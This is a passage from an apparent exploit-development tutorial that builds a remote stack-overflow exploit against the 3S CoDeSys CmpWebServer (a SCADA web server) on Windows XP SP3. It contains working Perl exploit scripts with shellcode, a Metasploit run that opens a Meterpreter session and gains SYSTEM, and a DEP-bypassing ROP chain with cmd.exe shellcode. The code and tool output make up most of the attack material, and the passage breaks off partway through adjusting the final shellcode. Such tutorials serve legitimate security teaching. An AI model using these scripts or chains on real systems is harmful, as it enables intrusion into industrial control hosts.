Last post, we identified a stack-based overflow in 3S CoDeSys CmpWebServer and traced the steps necessary to obtain control over EIP. In order to do so, we needed to first circumvent stack cookies, which was achieved by abusing a call to memcpy() and overwriting the function call’s own return pointer. This post, we’ll pick up where we left off and learn how to spawn a shell on the remote host.
We’ll be working with the same setup as last time, targeting CoDeSys v3.4 SP4 Patch 2 running on Windows XP SP3. An important detail to note here is that while Windows XP SP3 implements DEP, it is by default only enabled on system-critical processes:
This means that the stack in our target application is free game and allows fully for a “traditional” overflow. Now, I don’t know about you, but I happen to find that incredibly lame. So, we’ll split the exploitation portion of this post into two sections. In the first section, we’ll take full advantage of the resources provided to us and spawn a shell using the traditional return-into-shellcode method. Since this series isn’t meant to be a simple walkthrough but instead a learning experience, in the second section we’ll spawn a shell again but instead enable DEP for the running application. This disallows us from simply overwriting the return pointer with a pointer to the stack, so we’ll have to first disable DEP using Return-Oriented Programming (ROP) and then return into arbitrary code.
When Good Bytes Go Bad
Before we proceed to writing the exploit itself, we must first identify any bad characters that might cause issue later on – This means any bytes that may either get filtered out, translate to different bytes, or break the exploit altogether. This is not typically a time-consuming task, but if many characters are filtered or manipulated by the program it can be tedious to identify exactly what is and isn’t allowed as input.
A quick and dirty way of approaching this is the “range method,” as suggested by the Metasploit development community. Instead of linearly enumerating a range of 256 bytes and manually (or semi-automatically) testing each byte individually, we instead provide a broader range of bytes in each attempt and systematically narrow it down to specific offenders, somewhat akin to a binary search.
We can whip up a quick script (using the structure of the PoC from last post) to test:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $badchars = ""; $badchars .= "GET /"; $badchars .= pack("C*", 0x00 .. 0x0f); #$badchars .= pack("C*", 0x10 .. 0x1f); #$badchars .= pack("C*", 0x20 .. 0x2f); #$badchars .= pack("C*", 0x30 .. 0x3f); #$badchars .= pack("C*", 0x40 .. 0x4f); #$badchars .= pack("C*", 0x50 .. 0x5f); #$badchars .= pack("C*", 0x60 .. 0x6f); #$badchars .= pack("C*", 0x70 .. 0x7f); #$badchars .= pack("C*", 0x80 .. 0x8f); #$badchars .= pack("C*", 0x90 .. 0x9f); #$badchars .= pack("C*", 0xa0 .. 0xaf); #$badchars .= pack("C*", 0xb0 .. 0xbf); #$badchars .= pack("C*", 0xc0 .. 0xcf); #$badchars .= pack("C*", 0xd0 .. 0xdf); #$badchars .= pack("C*", 0xe0 .. 0xef); #$badchars .= pack("C*", 0xf0 .. 0xff); $badchars .= "\\a HTTP/1.0\r\n\r\n"; print $sock $badchars;
Run the script against CoDeSys, and…
Well that’s interesting. Looks like none of our input was copied into the buffer, predictably due to the initial null byte. Since the section of code we’ve looked at thus far has used memcpy() as opposed to strcpy(), it’s reasonable to assume that string functions like strlen() are used at some point beforehand and are causing our buffer to terminate prematurely. We’ll add 0x00 to the list of bad chars and try again.
$badchars .= "GET /"; # Bad chars: "\x00" $badchars .= pack("C*", 0x01 .. 0x0f);
Taking a look at the stack after the memcpy():
What the heck? Something else in the range must be causing issue. Let’s narrow the range:
$badchars .= pack("C*", 0x01 .. 0x09); #$badchars .= pack("C*", 0x0a .. 0x0f);
And finally we have success:
If you look closely, though, notice that 0x09 was translated to 0x20, so we’ll add it to the list of bad chars as well.
To expedite the process and save time, we won’t detail the rest of the testing. Following the same steps as outlined above for the remaining bytes, we produce the final list of bad characters to avoid when writing our exploit:
0x00 (Null) - Breaks request 0x09 (Tab) - Translates to 0x20 (Space) 0x0a (Carriage Return) - Breaks request 0x23 (#) - Breaks request 0x25 (%) - Breaks request 0x3a (:) - Breaks request 0x3d (=) - Breaks request 0x3f (?) - Breaks request 0x5c (\) - Translates to 0x2f (/)
As we can see, most of the offending bytes are URL special characters. With more thorough testing and analysis we realize that, in actuality, some of the chars can be used if positioned correctly in the buffer, but to save potential frustration we’ll just blacklist them initially and consider their usage only if necessary.
SCADA Wars Episode 1 – The Shellcode Menace
Writing a traditional stack-based overflow is a rather straight-forward process when both DEP and ASLR are disabled/not implemented. Simply overwrite the return pointer on the stack with a pointer to your buffer, slide down an optional NOP sled, and execute your shellcode. Recall the script we wrote last post that obtained arbitrary control over EIP (cleaned up a bit to remove the no longer necessary cyclic pattern):
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x0defaced); # Control over EIP $exploit .= "A"x524; $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) $exploit .= "A"x463; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
Running against the target web server, we observe an exception executing at our (invalid) return address:
At this point we’ll inspect the stack to learn the location of our buffer, noting the beginning address of the second string of “A”s where we’ll place our shellcode:
Updating our script to reflect this new information, as well as the inclusion of a benign payload for PoC:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); # Windows XP SP3 EN Calc Shellcode 16 Bytes by John Leitch $shellcode = "\x31\xC9" . # xor ecx,ecx "\x51" . # push ecx "\x68\x63\x61\x6C\x63" . # push 0x636c6163 "\x54" . # push dword ptr esp "\xB8\xC7\x93\xC2\x77" . # mov eax,0x77c293c7 "\xFF\xD0"; # call eax $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x02cdfc2c); # Control over EIP, pointer to shellcode $exploit .= "A"x524; $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) $exploit .= $shellcode; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
And the result:
Cool. We’ve successfully exploited this version of CoDeSys on Windows XP SP3.
There are two issues with our current exploit, though. For the consideration of functionality, calc.exe is rather boring and doesn’t actually spawn us a shell. Additionally, for the consideration of elegance and standardization, it’s best not to write standalone exploit scripts such as the one above. To the rescue is the Metasploit Framework, which provides a very nice exploit development API, as well as a long list of payloads and encoding utilities to circumvent bad characters and potential IDS. Resultingly, as of revision bc9014e9, the CoDeSys CmpWebServer exploit module in Metasploit now possesses a target for v3.4 SP4 Patch 2 on Windows XP SP3. Let’s test it out:
msf > use exploit/windows/scada/codesys_web_server msf exploit(codesys_web_server) > show options Module options (exploit/windows/scada/codesys_web_server): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 8080 yes The target port msf exploit(codesys_web_server) > set RHOST 172.16.66.128 RHOST => 172.16.66.128 msf exploit(codesys_web_server) > show targets Exploit targets: Id Name -- ---- 0 CoDeSys v2.3 on Windows XP SP3 1 CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3 msf exploit(codesys_web_server) > set TARGET 1 TARGET => 1 msf exploit(codesys_web_server) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(codesys_web_server) > exploit [*] Started bind handler [*] Trying target CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3... [*] Sending stage (752128 bytes) to 172.16.66.128 [*] Meterpreter session 1 opened (172.16.66.1:60855 -> 172.16.66.128:4444) at 2012-01-14 03:31:41 -0500 meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for 'load' write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory del Delete the specified file download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
SCADA Wars Episode 2 – Attack of the Stack
It’s very rare nowadays to approach a bug without the expectation of needing to bypass at least one or two exploit mitigation techniques. These memory protection mechanisms are most commonly a coupling of DEP and ASLR, but since we are targeting an older version of Windows, ASLR has not been implemented yet, and, as mentioned earlier, even though DEP has been implemented it is in fact disabled for all user applications by default, including CoDeSys.
To make things more interesting, let’s manually enable DEP and rewrite our exploit.
With the stack marked non-executable, we won’t be able to directly return into code we introduce in memory but instead have to rely on Return-Oriented Programming (ROP). By chaining together the tails of function calls (referred to as ROP gadgets), we can execute arbitrary code piece-by-piece, most commonly to achieve the end goal of disabling DEP and returning into shellcode.
Instead of writing one from scratch, we’ll begin with a DEP-disabling ROP chain from Corelan Team’s ROPdb and adapt it to our exploit. While the published chains are meant to function without alteration, we need to mind our list of bad chars and find replacement gadgets for any pointers affected. Comparing the chains in ROPdb with the list of loaded modules, it’s apparent that the only DLL with a readily available chain is advapi32.dll, which disables DEP by performing a call to the NtSetInformationProcess function:
Starting with the same base exploit structure as above, we’ll append the ROP chain and identify any offending pointers (denoted with a string of exclamation points):
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 <target>"; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x0defaced); # Control over EIP $exploit .= "A"x524; $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) # advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r # https://www.corelan.be/index.php/security/corelan-ropdb/ $exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN $exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess $exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 $exploit .= pack('V', 0xffffffff); # (EBP) $exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0) $exploit .= pack('V', 0x41414141); # junk (compensate) $exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN $exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN $exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN $exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 $exploit .= pack('V', 0x77e3cb79); # RETN -> ESI $exploit .= pack('V', 0xffffffff); # -> EBX $exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02 $exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN $exploit .= pack('V', 0xfffffffc); # -> 0x4 $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN $exploit .= pack('V', 0x77e3cb79); # RETN $exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
Not too bad; we only need to find replacements for two gadgets. We’ll use mona.py to generate a list of gadgets and go from there.
The script displays a great deal of debugging information to the console as well as some automatically generated DEP-disabling ROP chains of its own, but the actual results we’re looking for are in rop.txt under Immunity’s installation directory. It would be easy enough just to use the chains generated by the command, but as we can see there they make frequent use of our blacklisted characters:
The first replacement gadget we need to find is “pop eax; ret”. This is a fairly common instruction sequence since the x86 calling convention typically stores the return value in EAX, so we should have no issue finding a suitable replacement.
We’ll first grep for all “pop eax” gadgets whose address doesn’t start with a null byte:
$ grep "POP EAX" rop.txt | grep -v 0x00 | cut -d* -f1 | head 0x1000c0be : # PUSH ECX # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04 0x1000c0bf : # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04 0x1000654e : # POP EAX # POP ESI # RETN 0x10006590 : # POP EAX # POP ESI # RETN 0x10007bfb : # POP EAX # POP ESI # RETN 0x10007771 : # POP EAX # POP ESI # RETN 0x10007747 : # POP EAX # RETN 0x1000fd85 : # POP EAX # POP ESI # RETN 0x10007d59 : # POP EAX # POP ESI # RETN 0x10007697 : # POP EAX # RETN
Great, but so far every gadget still has a null byte in the address. Let’s restrict our search a little more to filter out all pointers starting with 0x1000:
$ grep "POP EAX" rop.txt | grep -v 0x00 | grep -v 0x1000 | cut -d* -f1 $
Interestingly enough, no suitable replacement gadgets exist in the results. One thing to note, though, is that mona.py defaults its ROP generation to non-OS modules (as well as non-ASLR and non-rebase), so we’ll have to broaden our scope a bit to find the gadget we need. Because the overall goal is to make exploits as universal as possible (working against a wide array of target systems and versions), it’s best to not use modules provided by the system itself since they have a high likelihood of changing between OS versions. However, we’ll take a hit here for the sake of getting a working PoC.
We’ll regenerate our list of ROP gadgets, this time restricting ourselves to the system DNSAPI.dll module by passing the -m flag to mona.py:
!mona rop -m DNSAPI.dll
This graces us with the following gadget list to search through:
$ grep "POP EAX" rop_dnsapi.txt | cut -d* -f1 0x76f3e0c8 : # ADD EBP,DWORD PTR DS:[EDX+57] # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10 0x76f3c976 : # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN 0x76f3c97e : # POP EAX # RETN 0x76f3e0ca : # PUSH EDI # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10 0x76f3e0cb : # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10 0x76f3c974 : # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN 0x76f3e0c9 : # PUSH 57 # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10 0x76f3c971 : # OR BYTE PTR SS:[EBP+8],DH # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN 0x76f3c973 : # OR BYTE PTR DS:[EDX+3],CH # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN 0x76f3c97c : # PUSH 0D # POP EAX # RETN
Perfect, the gadget at 0x76f3c97e will work fine. Update our ROP chain:
# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r # https://www.corelan.be/index.php/security/corelan-ropdb/ $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess $exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 $exploit .= pack('V', 0xffffffff); # (EBP) $exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0) $exploit .= pack('V', 0x41414141); # junk (compensate) $exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN $exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 $exploit .= pack('V', 0x77e3cb79); # RETN -> ESI $exploit .= pack('V', 0xffffffff); # -> EBX $exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02 $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xfffffffc); # -> 0x4 $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN $exploit .= pack('V', 0x77e3cb79); # RETN $exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
One last gadget we need to find a replacement for is “xchg eax, ebx; ret”. We’ll grep through rop.txt and see if there are any candidates:
$ grep "XCHG EAX,EBX" rop.txt | cut -d* -f1 0x0040fcb3 : # XCHG EAX,EBX # XOR EAX,E58B0000 # POP EBP # RETN 0x0040dab3 : # XCHG EAX,EBX # PUSH EDI # ADD BYTE PTR DS:[EAX],AL # MOV ESP,EBP # POP EBP # RETN
Bad luck. Looks like we’ll have to rely on a system module again. However, DNSAPI.dll doesn’t seem to have the gadget either:
$ grep "XCHG EAX,EBX" rop_dnsapi.txt | cut -d* -f1 $
Let’s generate a list of gadgets from the system SHELL32.dll module and see if something there will help us:
$ grep "XCHG EAX,EBX" rop_shell32.txt | cut -d* -f1 | head 0x7ca04919 : # XCHG EAX,EBX # SUB BH,DH # DEC ECX # RETN 0x7ca6f081 : # XCHG EAX,EBX # RETN 00 0x7cb4f687 : # XCHG EAX,EBX # ADD AX,3B00 # RETN 0x7ca7870a : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,<&USER32.EndDialog> # XOR EAX,EAX # POP EBP # RETN 10 0x7ca17509 : # XCHG EAX,EBX # PUSH EAX # ADD EAX,DWORD PTR DS:[EAX] # POP EDI # XOR EAX,EAX # POP ESI # INC EAX # POP EBX # POP EBP # RETN 0C 0x7ca787d8 : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,<&USER32.EndDialog> # MOV EAX,ESI # POP ESI # POP EBP # RETN 10 0x7ca11f36 : # XCHG EAX,EBX # OR AL,BYTE PTR DS:[EAX] # XOR EAX,EAX # RETN 04 0x7caab0cd : # XCHG EAX,EBX # POP ES # ADD BYTE PTR DS:[EBX],BH # RETN 0x7ca3ae19 : # XCHG EAX,EBX # ADD DWORD PTR DS:[EAX],EAX # ADD BYTE PTR DS:[EBX+5D5E5FC7],CL # RETN 04 0x7ca034ed : # XCHG EAX,EBX # SAHF # ADD AL,BYTE PTR DS:[EAX] # POP EDI # POP ESI # POP EBP # RETN 08
The gadget at 0x7ca6f081 will do perfectly. The 00 in “RETN 00” denotes the number of bytes the stack will by adjusted by upon return, which in this case is 0 and parallels the functionality of a “normal” return.
The question can be asked in this scenario, why is there such an instruction “ret 0” in the module if it’s the exact same as a “ret”? The answer is that the instruction isn’t actually meant to be there at all. The x86 architecture sports a number of properties favorable for exploit development, namely the fact that instructions are both variable-length and unaligned. x86 instructions aren’t always a defined length in memory, unlike ARM or MIPS whose instructions are always 2 or 4 bytes wide, so we can find a single useful opcode and disassemble backwards until we find an acceptable sequence of instructions. By being unaligned, we can execute instructions at any offset and are not restricted to returning into addresses that, for example, end in 0x0, 0x4, 0x8, or 0xc.
To demonstrate this, we’ll start by disassembling our gadget at 0x7ca6f081, where we see the desired instruction sequence:
However, by simply pressing the “up” button, our disassembly realigns to the program’s proper instruction alignment, and we see that these opcodes are actually part of a CALL:
Moving ahead, let’s update our ROP chain with the final replacement gadget:
# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r # https://www.corelan.be/index.php/security/corelan-ropdb/ $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess $exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 $exploit .= pack('V', 0xffffffff); # (EBP) $exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0) $exploit .= pack('V', 0x41414141); # junk (compensate) $exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN $exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 $exploit .= pack('V', 0x77e3cb79); # RETN -> ESI $exploit .= pack('V', 0xffffffff); # -> EBX $exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02 $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xfffffffc); # -> 0x4 $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN $exploit .= pack('V', 0x77e3cb79); # RETN $exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN
Now that our ROP chain is all set, we need to actually be able to execute it. The easy way to do this is to simply return into the first gadget upon gaining control over EIP. At the moment, we corrupt EIP with the value 0x0defaced, so it should be simple enough to just restructure our exploit and relocate the ROP chain in place of this dummy value. In order to prevent changes to stack offsets and addresses, we’ll store a placeholder where the ROP chain used to be to keep our input to the program the same length:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 "; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess $exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 $exploit .= pack('V', 0xffffffff); # (EBP) $exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0) $exploit .= pack('V', 0x41414141); # junk (compensate) $exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN $exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 $exploit .= pack('V', 0x77e3cb79); # RETN -> ESI $exploit .= pack('V', 0xffffffff); # -> EBX $exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02 $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xfffffffc); # -> 0x4 $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN $exploit .= pack('V', 0x77e3cb79); # RETN $exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN $exploit .= "A"x424; $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) $exploit .= "A"x104; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
Now that we’ve disabled DEP, we need to execute our shellcode. This particular ROP chain will immediately transfer execution to the top of the stack after its completion, which can be observed by studying the last few gadgets.
At the time of the final gadget’s (“pushad; dec ebx; mov ebx, 0x33c233f6; ret”) execution, the function pointer we wish to call (NtSetInformationProcess) resides in EBP. By referencing the documentation of the PUSHAD instruction, we can see that EBP is pushed onto the stack sixth out of eight registers, placing it at offset 0x8 from the top of the stack:
ELSE (* OperandSize = 32, PUSHAD instruction *) Temp := (ESP); Push(EAX); Push(ECX); Push(EDX); Push(EBX); Push(Temp); Push(EBP); Push(ESI); Push(EDI); FI;
The next two instructions in the gadget (“dec ebx; mov ebx, 0x33c233f6”) are inconsequential and can be safely ignored. As we can see, the PUSHAD instruction also results in pushing the ESI and EDI registers above EBP on the stack, which both contain the pointer 0x77e3cb79.
This pointer is actually another gadget to be executed (twice), but unlike other gadgets which perform any number of potentially complex operations, this one is simply a single RET instruction:
This particular gadget is referred to as a “ROP NOP,” similar to how the NOP (No-OPeration) instruction in x86 simply “does nothing”. When utilized in a ROP chain, we can simply slide down the stack, returning into gadgets that “do nothing” until we reach an interesting pointer. In this case, we execute two ROP NOPs until we return into the NtSetInformationProcess pointer to disable DEP.
Upon completion of the function, we return into the next dword on the stack. Referencing the PUSHAD documentation once again, we see that the register pushed immediately before EBP was the value of ESP before the operation. This is excellent, because by returning into this value we transfer execution directly to stack memory adjacent to the ROP chain itself, which at the moment is just our placeholder of a bunch of “A”s:
All we have to do from this point is stash some shellcode immediately after the ROP chain and we’ll have our shell. We can grab a simple WinExec shellcode here. Update our exploit:
#!/usr/bin/perl use IO::Socket; if ( @ARGV < 1 ) { print "Usage: $0 "; } $sock = new IO::Socket::INET( PeerAddr => $ARGV[0], PeerPort => 8080, ); $exploit = ""; $exploit .= "GET /"; $exploit .= "A"; # For alignment purposes $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess $exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04 $exploit .= pack('V', 0xffffffff); # (EBP) $exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0) $exploit .= pack('V', 0x41414141); # junk (compensate) $exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN $exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10 $exploit .= pack('V', 0x77e3cb79); # RETN -> ESI $exploit .= pack('V', 0xffffffff); # -> EBX $exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x41414141); # compensate $exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02 $exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN $exploit .= pack('V', 0xfffffffc); # -> 0x4 $exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN $exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN $exploit .= pack('V', 0x77e3cb79); # RETN $exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN $exploit .= "\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x8d\x15\x86\x7c\xff\xd0"; $exploit .= "A"x(424-23); $exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP) $exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr) $exploit .= "A"x104; $exploit .= "\\a HTTP/1.0\r\n\r\n"; print $sock $exploit;
So are we finished? God, no.
We need to do a little refactoring of this shellcode before we can use it. The hardcoded WinExec address it uses is not correct for XP SP3, so we first need to update it with the correct address 0x7c86250d:
